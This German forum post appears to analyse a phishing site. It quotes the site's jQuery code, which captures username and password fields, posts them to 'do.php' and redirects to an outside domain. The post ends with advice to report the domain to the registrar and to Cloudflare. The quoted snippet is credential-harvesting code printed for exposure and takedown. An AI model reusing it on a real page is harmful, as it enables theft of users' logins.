Vielen Dank für den Hinweiß.
Im Quellcode findet sich was ganz tolles:
$('#saveData').on('click', function() {
var uname = $('#username').val();
var upass = $('#password').val();
$.ajax({
url: "do.php",
type: "POST",
data: {username: uname, password: upass},
success: function(response){
setTimeout(function(){
window.location.href = 'https://justnetwork.my.id/conformation.php'
}, 400) ;
}
});
})
Wahrscheinlich speichert die Datei "do.php" einfach die Daten in einer TXT Datei.
Wenn man die Domain bei https://support.namecheap.com/ melden wird, wird sie gesperrt ;)
Ja - sehr simple Programmiert der Scammer.
Wurde bereits eine Meldung bei Cloudflare eingereicht. Hoffe die Seite ist schnell down und die Leute dadurch mehr gewarnt.